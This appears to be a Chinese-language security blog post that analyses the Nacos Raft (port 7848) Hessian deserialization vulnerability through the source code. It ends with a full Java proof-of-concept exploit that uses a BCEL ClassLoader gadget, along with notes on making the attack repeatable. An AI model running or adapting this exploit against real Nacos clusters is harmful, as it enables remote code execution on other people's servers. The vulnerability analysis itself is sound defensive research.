Nacos 内网集群 Raft 反序列化漏洞

一、漏洞描述

Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞仅影响7848端口(默认设置下),一般使用时该端口为Nacos集群间Raft协议的通信端口,不承载客户端请求,因此老版本可以通过禁止该端口来自Nacos集群外的请求达到止血目的(如部署时已进行限制或未暴露,则风险可控)。
漏洞利用实际需要访问到相应端口,实际风险可控。

二、影响版本

1.4.0 <= Nacos < 1.4.6
2.0.0 <= Nacos < 2.2.3

三、漏洞详情

Nacos 中 Jraft 服务源码解析

当 Nacos 使用嵌入数据源( -DembeddedStorage=true,每个节点有一个数据源),以集群方式启动(-Dnacos.standalone=false)时,使用raft协议,来保证数据一致性,并在1.4.1开始使用了sofa-jraft框架。
Nacos 内调用 Jraft 流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* A concrete implementation of CP protocol: JRaft.
*
* <pre>
* ┌──────────────────────┐
* ┌──────────────────────┐ │ ▼
* │ ProtocolManager │ │ ┌───────────────────────────┐
* └──────────────────────┘ │ │for p in [LogProcessor4CP] │
* │ │ └───────────────────────────┘
* ▼ │ │
* ┌──────────────────────────────────┐ │ ▼
* │ discovery LogProcessor4CP │ │ ┌─────────────────┐
* └──────────────────────────────────┘ │ │ get p.group() │
* │ │ └─────────────────┘
* ▼ │ │
* ┌─────────────┐ │ │
* │ RaftConfig │ │ ▼
* └─────────────┘ │ ┌──────────────────────────────┐
* │ │ │ create raft group service │
* ▼ │ └──────────────────────────────┘
* ┌──────────────────┐ │
* │ JRaftProtocol │ │
* └──────────────────┘ │
* │ │
* init() │
* │ │
* ▼ │
* ┌─────────────────┐ │
* │ JRaftServer │ │
* └─────────────────┘ │
* │ │
* │ │
* ▼ │
* ┌────────────────────┐ │
* │JRaftServer.start() │ │
* └────────────────────┘ │
* │ │
* └──────────────────┘
* </pre>
*/

ProtocolManager

com.alibaba.nacos.core.distributed.ProtocolManager 构造方法如下:

1
2
3
4
5
public ProtocolManager(ServerMemberManager memberManager) {
this.memberManager = memberManager;
NotifyCenter.registerSubscriber(this);
}

此处 ServerMemberManager 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class ServerMemberManager implements ApplicationListener<WebServerInitializedEvent> {

private final NacosAsyncRestTemplate asyncRestTemplate = HttpClientBeanHolder
.getNacosAsyncRestTemplate(Loggers.CORE);

//默认服务端口未 8848
private static final int DEFAULT_SERVER_PORT = 8848;

private static final String SERVER_PORT_PROPERTY = "server.port";

private static final String SPRING_MANAGEMENT_CONTEXT_NAMESPACE = "management";

private static final String MEMBER_CHANGE_EVENT_QUEUE_SIZE_PROPERTY = "nacos.member-change-event.queue.size";

private static final int DEFAULT_MEMBER_CHANGE_EVENT_QUEUE_SIZE = 128;

private static boolean isUseAddressServer = false;

private static final long DEFAULT_TASK_DELAY_TIME = 5_000L;

...

public ServerMemberManager(ServletContext servletContext) throws Exception {
this.serverList = new ConcurrentSkipListMap<>();
EnvUtil.setContextPath(servletContext.getContextPath());
//调用init()
init();
}
protected void init() throws NacosException {
Loggers.CORE.info("Nacos-related cluster resource initialization");
this.port = EnvUtil.getProperty(SERVER_PORT_PROPERTY, Integer.class, DEFAULT_SERVER_PORT);
this.localAddress = InetUtils.getSelfIP() + ":" + port;
//调用至 MemberUtil#singleParse(this.localAddress);
this.self = MemberUtil.singleParse(this.localAddress);
this.self.setExtendVal(MemberMetaDataConstants.VERSION, VersionUtils.version);
...
}

}

MemberUtil#singleParse(this.localAddress)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static final int DEFAULT_RAFT_OFFSET_PORT = 1000;

public static Member singleParse(String member) {
// Nacos default port is 8848
int defaultPort = EnvUtil.getProperty(SERVER_PORT_PROPERTY, Integer.class, DEFAULT_SERVER_PORT);
// Set the default Raft port information for securit

String address = member;
int port = defaultPort;
String[] info = InternetAddressUtil.splitIPPortStr(address);
if (info.length > 1) {
address = info[0];
port = Integer.parseInt(info[1]);
}

Member target = Member.builder().ip(address).port(port).state(NodeState.UP).build();
Map<String, Object> extendInfo = new HashMap<>(4);
// The Raft Port information needs to be set by default
//Jraft 默认端口7848
extendInfo.put(MemberMetaDataConstants.RAFT_PORT, String.valueOf(calculateRaftPort(target)));
extendInfo.put(MemberMetaDataConstants.READY_TO_UPGRADE, true);
target.setExtendInfo(extendInfo);
return target;
}

public static int calculateRaftPort(Member member) {
//端口为默认端口 -1000 即 7848
return member.getPort() - DEFAULT_RAFT_OFFSET_PORT;
}

JRaftProtocol

com.alibaba.nacos.core.distributed.raft.JRaftProtocol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class JRaftProtocol extends AbstractConsistencyProtocol<RaftConfig, RequestProcessor4CP>
implements CPProtocol<RaftConfig, RequestProcessor4CP> {

private final AtomicBoolean initialized = new AtomicBoolean(false);

private final AtomicBoolean shutdowned = new AtomicBoolean(false);

//此处默认为 Hessian 反序列化
private final Serializer serializer = SerializeFactory.getDefault();

private RaftConfig raftConfig;

private JRaftServer raftServer;

private JRaftMaintainService jRaftMaintainService;

private ServerMemberManager memberManager;

public JRaftProtocol(ServerMemberManager memberManager) throws Exception {
this.memberManager = memberManager;
this.raftServer = new JRaftServer();
this.jRaftMaintainService = new JRaftMaintainService(raftServer);
}
}

com.alibaba.nacos.consistency.SerializeFactory#getDefault() 获取到HessianSerializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class SerializeFactory {

public static final String HESSIAN_INDEX = "Hessian".toLowerCase();

private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4);

public static String defaultSerializer = HESSIAN_INDEX;

static {
Serializer serializer = new HessianSerializer();
SERIALIZER_MAP.put(HESSIAN_INDEX, serializer);
for (Serializer item : NacosServiceLoader.load(Serializer.class)) {
SERIALIZER_MAP.put(item.name().toLowerCase(), item);
}
}

public static Serializer getDefault() {
return SERIALIZER_MAP.get(defaultSerializer);
}

public static Serializer getSerializer(String type) {
return SERIALIZER_MAP.get(type.toLowerCase());
}
}

com.alibaba.nacos.consistency.serialize.HessianSerializer 此处直接为 Hessian 序列化及反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.alibaba.nacos.consistency.Serializer;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;

public class HessianSerializer implements Serializer {

private static final String NAME = "Hessian";

private SerializerFactory serializerFactory = new SerializerFactory();

public HessianSerializer() {
}

@Override
public <T> T deserialize(byte[] data) {
return deseiralize0(data);
}

@Override
public <T> T deserialize(byte[] data, Class<T> cls) {
return deserialize(data);
}

@Override
public <T> T deserialize(byte[] data, Type type) {
return deserialize(data);
}

private <T> T deseiralize0(byte[] data) {
if (ByteUtils.isEmpty(data)) {
return null;
}

Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(data));
input.setSerializerFactory(serializerFactory);
Object resultObject;
try {
resultObject = input.readObject();
input.close();
} catch (IOException e) {
throw new RuntimeException("IOException occurred when Hessian serializer decode!", e);
}
return (T) resultObject;
}

@Override
public <T> byte[] serialize(T obj) {
ByteArrayOutputStream byteArray = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(byteArray);
output.setSerializerFactory(serializerFactory);
try {
output.writeObject(obj);
output.close();
} catch (IOException e) {
throw new RuntimeException("IOException occurred when Hessian serializer encode!", e);
}

return byteArray.toByteArray();
}

@Override
public String name() {
return NAME;
}

}

JRaftServer

com.alibaba.nacos.core.distributed.raft.JRaftServer#start() 启动RaftServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
synchronized void start() {
if (!isStarted) {
Loggers.RAFT.info("========= The raft protocol is starting... =========");
try {
// init raft group node
com.alipay.sofa.jraft.NodeManager raftNodeManager = com.alipay.sofa.jraft.NodeManager.getInstance();
for (String address : raftConfig.getMembers()) {
PeerId peerId = PeerId.parsePeer(address);
conf.addPeer(peerId);
raftNodeManager.addAddress(peerId.getEndpoint());
}
nodeOptions.setInitialConf(conf);
//调用至JRaftUtils#initRpcServer()
rpcServer = JRaftUtils.initRpcServer(this, localPeerId);

if (!this.rpcServer.init(null)) {
Loggers.RAFT.error("Fail to init [BaseRpcServer].");
throw new RuntimeException("Fail to init [BaseRpcServer].");
}

// Initialize multi raft group service framework
isStarted = true;
createMultiRaftGroup(processors);
Loggers.RAFT.info("========= The raft protocol start finished... =========");
} catch (Exception e) {
Loggers.RAFT.error("raft protocol start failure, cause: ", e);
throw new JRaftException(e);
}
}
}

JRaftUtils#initRpcServer()

1
2
3
4
5
6
7
8
9
public static RpcServer initRpcServer(JRaftServer server, PeerId peerId) {

...
//注册自定义 Rpc 请求处理器
rpcServer.registerProcessor(new NacosWriteRequestProcessor(server, SerializeFactory.getDefault()));
rpcServer.registerProcessor(new NacosReadRequestProcessor(server, SerializeFactory.getDefault()));

return rpcServer;
}

RpcProcessor

Rpc 请求处理器,只有当业务通讯也使用sofa-jraft提供的RpcServer才需要。可以实现com.alipay.sofa.jraft.rpc.RpcProcessor接口,根据目标请求参数,处理业务请求。
可看出 Nacos 使用的 RpcProcessor 为NacosWriteRequestProcessor 和 NacosReadRequestProcessor
NacosWriteRequestProcessor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class NacosWriteRequestProcessor extends AbstractProcessor implements RpcProcessor<WriteRequest> {

private static final String INTEREST_NAME = WriteRequest.class.getName();

private final JRaftServer server;

public NacosWriteRequestProcessor(JRaftServer server, Serializer serializer) {
super(serializer);
this.server = server;
}

@Override
public void handleRequest(RpcContext rpcCtx, WriteRequest request) {
//调用至父类即 AbstractProcessor#handleRequest()方法
handleRequest(server, request.getGroup(), rpcCtx, request);
}

@Override
public String interest() {
return INTEREST_NAME;
}
}

NacosWriteRequestProcessor 继承 AbstractProcessor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public abstract class AbstractProcessor {

private final Serializer serializer;

public AbstractProcessor(Serializer serializer) {
this.serializer = serializer;
}

protected void handleRequest(final JRaftServer server, final String group, final RpcContext rpcCtx, Message message) {
try {
final JRaftServer.RaftGroupTuple tuple = server.findTupleByGroup(group);
if (Objects.isNull(tuple)) {
rpcCtx.sendResponse(Response.newBuilder().setSuccess(false)
.setErrMsg("Could not find the corresponding Raft Group : " + group).build());
return;
}
//判断是否为 Leader
if (tuple.getNode().isLeader()) {
//此处后续调用至自定义状态机
execute(server, rpcCtx, message, tuple);
} else {
rpcCtx.sendResponse(
Response.newBuilder().setSuccess(false).setErrMsg("Could not find leader : " + group).build());
}
} catch (Throwable e) {
Loggers.RAFT.error("handleRequest has error : ", e);
rpcCtx.sendResponse(Response.newBuilder().setSuccess(false).setErrMsg(e.toString()).build());
}
}
...
}

com.alipay.sofa.jraft.core.#isLeader() 此处获取State.STATE_LEADER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Override
public boolean isLeader() {
return isLeader(true);
}

@Override
public boolean isLeader(final boolean blocking) {
if (!blocking) {
return this.state == State.STATE_LEADER;
}
this.readLock.lock();
try {
return this.state == State.STATE_LEADER;
} finally {
this.readLock.unlock();
}
}

状态机

使用sofa-jraft需要实现自己的StateMachine,Nacos使用得状态机为 NacosStateMachine
最重要的方法是onApply方法。当Node提交Task,对应的log被提交到Raft集群后,当quorum节点成功commit log,触发这个方法来应用状态(当前节点存储数据)。CounterStateMachine在onApply方法中,执行原子计数器的相关功能,包括get和addAndGet。
com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup() 启动RaftServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
synchronized void createMultiRaftGroup(Collection<RequestProcessor4CP> processors) {
// There is no reason why the LogProcessor cannot be processed because of the synchronization
if (!this.isStarted) {
this.processors.addAll(processors);
return;
}

final String parentPath = Paths.get(EnvUtil.getNacosHome(), "data/protocol/raft").toString();

for (RequestProcessor4CP processor : processors) {
final String groupName = processor.group();
if (multiRaftGroup.containsKey(groupName)) {
throw new DuplicateRaftGroupException(groupName);
}

//确保每个Raft Group都有自己的配置和NodeOptions
Configuration configuration = conf.copy();
NodeOptions copy = nodeOptions.copy();
JRaftUtils.initDirectory(parentPath, groupName, copy);

// Here, the LogProcessor is passed into StateMachine, and when the StateMachine
// triggers onApply, the onApply of the LogProcessor is actually called
//processors 传递给StateMachine,当StateMachine
//触发onApply,实际调用 processors的onApply()
NacosStateMachine machine = new NacosStateMachine(this, processor);

copy.setFsm(machine);
copy.setInitialConf(configuration);

// Set snapshot interval, default 1800 seconds
int doSnapshotInterval = ConvertUtils.toInt(raftConfig.getVal(RaftSysConstants.RAFT_SNAPSHOT_INTERVAL_SECS),
RaftSysConstants.DEFAULT_RAFT_SNAPSHOT_INTERVAL_SECS);

// If the business module does not implement a snapshot processor, cancel the snapshot
doSnapshotInterval = CollectionUtils.isEmpty(processor.loadSnapshotOperate()) ? 0 : doSnapshotInterval;

copy.setSnapshotIntervalSecs(doSnapshotInterval);
Loggers.RAFT.info("create raft group : {}", groupName);
RaftGroupService raftGroupService = new RaftGroupService(groupName, localPeerId, copy, rpcServer, true);

//启动
// Because BaseRpcServer has been started before, it is not allowed to start again here
Node node = raftGroupService.start(false);
machine.setNode(node);
RouteTable.getInstance().updateConfiguration(groupName, configuration);

RaftExecutor.executeByCommon(() -> registerSelfToCluster(groupName, localPeerId, configuration));

// Turn on the leader auto refresh for this group
Random random = new Random();
long period = nodeOptions.getElectionTimeoutMs() + random.nextInt(5 * 1000);
RaftExecutor.scheduleRaftMemberRefreshJob(() -> refreshRouteTable(groupName),
nodeOptions.getElectionTimeoutMs(), period, TimeUnit.MILLISECONDS);
multiRaftGroup.put(groupName, new RaftGroupTuple(node, processor, raftGroupService, machine));
}
}

JRaftServer#createMultiRaftGroup() 传入参数类为 RequestProcessor4CP,此类存在5个实现类,其中以下三个为@Component为注解注释类

  • com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl
  • com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor
  • com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor

以上三个类构造方法中均调用 JRaftProtocol#addRequestProcessors() 方法,最终调用至JRaftServer#createMultiRaftGroup(),故调用顺序为 NacosStateMachine#onApply() 后调用至以上三个类的 onApply() 方法。
NacosStateMachine#onApply()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public void onApply(Iterator iter) {
int index = 0;
int applied = 0;
Message message;
NacosClosure closure = null;
try {
while (iter.hasNext()) {
Status status = Status.OK();
try {
if (iter.done() != null) {
closure = (NacosClosure) iter.done();
message = closure.getMessage();
} else {
final ByteBuffer data = iter.getData();
message = ProtoMessageUtil.parse(data.array());
if (message instanceof ReadRequest) {
//'iter.done() == null' means current node is follower, ignore read operation
applied++;
index++;
iter.next();
continue;
}
}

LoggerUtils.printIfDebugEnabled(Loggers.RAFT, "receive log : {}", message);

//判断类型是否为 WriteRequest 是则进入if
if (message instanceof WriteRequest) {
//调用上面三个实现类的 onApply() 方法
Response response = processor.onApply((WriteRequest) message);
postProcessor(response, closure);
}

if (message instanceof ReadRequest) {
Response response = processor.onRequest((ReadRequest) message);
postProcessor(response, closure);
}
} catch (Throwable e) {
index++;
status.setError(RaftError.UNKNOWN, e.toString());
Optional.ofNullable(closure).ifPresent(closure1 -> closure1.setThrowable(e));
throw e;
} finally {
Optional.ofNullable(closure).ifPresent(closure1 -> closure1.run(status));
}
applied++;
index++;
iter.next();
}
} catch (Throwable t) {
Loggers.RAFT.error("processor : {}, stateMachine meet critical error: {}.", processor, t);
//若 processor#onApply() 则设置 State 为State.STATE_ERROR
iter.setErrorAndRollback(index - applied,
new Status(RaftError.ESTATEMACHINE, "StateMachine meet critical error: %s.",
ExceptionUtil.getStackTrace(t)));
}
}

com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public Response onApply(WriteRequest request) {
//此处调用至 HessianSerializer#deserialize() 方法,存在Hessian反序列化漏洞
//此处接收类为 InstanceStoreRequest,若反序列化类不为 InstanceStoreRequest 则报错,导致服务异常
//State为State.STATE_ERROR 导致AbstractProcessor#handleRequest() 不继续执行至 execute() 此漏洞无法再次利用
final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());
final DataOperation operation = DataOperation.valueOf(request.getOperation());
final Lock lock = readLock;
lock.lock();
try {
switch (operation) {
case ADD:
onInstanceRegister(instanceRequest.service, instanceRequest.instance,
instanceRequest.getClientId());
break;
case DELETE:
onInstanceDeregister(instanceRequest.service, instanceRequest.getClientId());
break;
case CHANGE:
if (instanceAndServiceExist(instanceRequest)) {
onInstanceRegister(instanceRequest.service, instanceRequest.instance,
instanceRequest.getClientId());
}
break;
default:
return Response.newBuilder().setSuccess(false).setErrMsg("unsupport operation : " + operation)
.build();
}
}
return Response.newBuilder().setSuccess(true).build();
} finally {
lock.unlock();
}
}

// public static final NAMING_PERSISTENT_SERVICE_GROUP_V2 = "naming_persistent_service_v2";
public String group() {
//NAMING_PERSISTENT_SERVICE_GROUP_V2 = "naming_persistent_service_v2";
return Constants.NAMING_PERSISTENT_SERVICE_GROUP_V2;
}

com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor#onApply()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Response onApply(WriteRequest request) {
////此处调用至 HessianSerializer#deserialize() 方法,存在Hessian反序列化漏洞
//此处接收类为 MetadataOperation<InstanceMetadata>,若反序列化类不为 InstanceStoreRequest 则报错,导致服务异常
//State为State.STATE_ERROR 导致AbstractProcessor#handleRequest() 不继续执行至 execute() 此漏洞无法再次利用
MetadataOperation<InstanceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType);
readLock.lock();
try {
....
}
return Response.newBuilder().setSuccess(true).build();
} catch (Exception e) {
Loggers.RAFT.error("onApply {} instance metadata operation failed. ", request.getOperation(), e);
String errorMessage = null == e.getMessage() ? e.getClass().getName() : e.getMessage();
return Response.newBuilder().setSuccess(false).setErrMsg(errorMessage).build();
} finally {
readLock.unlock();
}
}

// public static final String INSTANCE_METADATA = "naming_instance_metadata";
public String group() {
return Constants.SERVICE_METADATA;
}

com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Response onApply(WriteRequest request) {
//此处调用至 HessianSerializer#deserialize() 方法,存在Hessian反序列化漏洞
//此处接收类为 MetadataOperation<ServiceMetadata>,若反序列化类不为 InstanceStoreRequest 则报错,导致服务异常
//State为State.STATE_ERROR 导致AbstractProcessor#handleRequest() 不继续执行至 execute() 此漏洞无法再次利用
MetadataOperation<ServiceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType);
readLock.lock();
try {
...
}
return Response.newBuilder().setSuccess(true).build();
} catch (Exception e) {
Loggers.RAFT.error("onApply {} service metadata operation failed. ", request.getOperation(), e);
String errorMessage = null == e.getMessage() ? e.getClass().getName() : e.getMessage();
return Response.newBuilder().setSuccess(false).setErrMsg(errorMessage).build();
} finally {
readLock.unlock();
}
}

// public static final String SERVICE_METADATA = "naming_service_metadata";
public String group() {
return Constants.INSTANCE_METADATA;
}

MetadataOperation 存在属性 metadata 为泛型,可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,此时反序列化后的对象符合预期,不会报错,服务继续运行,可多次攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class MetadataOperation<T> implements Serializable {

private static final long serialVersionUID = -111405695252896706L;

private String namespace;

private String group;

private String serviceName;

/**
* If the metadata is cluster or instance, the tag should be added with the identity of cluster or instance.
*/
private String tag;

private T metadata;

...
}

利用总结

  1. 攻击端口默认为7848
  2. 为Hessian 反序列化链攻击
  3. 存在三个攻击链
1
2
3
naming_persistent_service_v2  ----  PersistentClientOperationServiceImpl
naming_instance_metadata ---- InstanceMetadataProcessor
naming_service_metadata ---- ServiceMetadataProcessor
  1. PersistentClientOperationServiceImpl 要求反序列化类为 InstanceStoreRequest
  2. InstanceMetadataProcessor 要求反序列化类为 MetadataOperation
  3. ServiceMetadataProcessor 要求反序列化类为 MetadataOperation
  4. MetadataOperation 存在泛型属性 metadata,可设置其为恶意对象进行攻击,不影响服务运行,可多次攻击

payload

此漏洞利用为Hessian 反序列化,可使用多个Hessian 反序列化 Gadget ,以下payload使用 BCEL ClassLoader Gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadata;
import com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation;
import com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.RpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.alipay.sofa.jraft.util.Endpoint;
import com.caucho.hessian.io.Hessian2Output;
import com.google.protobuf.ByteString;
import com.google.protobuf.Message;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class NacosExplit {
public static void main(String[] args)throws Exception {
final CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
setProperties(cliClientService.getRpcClient());

MetadataOperation<ServiceMetadata> metadataOperation = new MetadataOperation<ServiceMetadata>();
Field metadataField = metadataOperation.getClass().getDeclaredField("metadata");
metadataField.setAccessible(true);
//此处BCEL_ClassLoader() 可更换为其他 Gadget
metadataField.set(metadataOperation,BCEL_ClassLoader());
WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(serialize(metadataOperation));

//二选一均可以攻击
// MetadataOperation<InstanceMetadata> metadataOperation = new MetadataOperation<InstanceMetadata>();
// Field metadataField = metadataOperation.getClass().getDeclaredField("metadata");
// metadataField.setAccessible(true);
// metadataField.set(metadataOperation,BCEL_ClassLoader());
// WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_instance_metadata").setData(serialize(metadataOperation));
Object o = cliClientService.getRpcClient().invokeSync(new Endpoint("127.0.0.1", 7848), writeRequestBuilder.build(), 10000);
System.out.println(o);
}

@SuppressWarnings("unchecked")
public static void setProperties(RpcClient rpcClient) throws Exception {
Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient);
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());

Field messages = MarshallerHelper.class.getDeclaredField("messages");
messages.setAccessible(true);
Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class);
messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
}

public static ByteString serialize(Object o) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(bos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(o);
out.close();

return ByteString.copyFrom(bos.toByteArray());
}

//BCEL ClassLoader Gadget
public static Object BCEL_ClassLoader() throws IOException {
JavaClass clazz = Repository.lookupClass(Evil.class);
String payload = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
SwingLazyValue swingLazyValue = new
SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper","_main",new Object[]
{new String[]{payload}});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);
HashMap map = new HashMap();
map.put(u1,u1);
map.put(u2,u2);
return map;
}
}

Evil

1
2
3
4
5
6
7
8
public class Evil {
public static void _main(String[] args){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
}

Nacos 内网集群 Raft 反序列化漏洞
http://example.com/2023/06/19/Nacos-内网集群-Raft-反序列化漏洞/
作者
白给
发布于
2023年6月19日
许可协议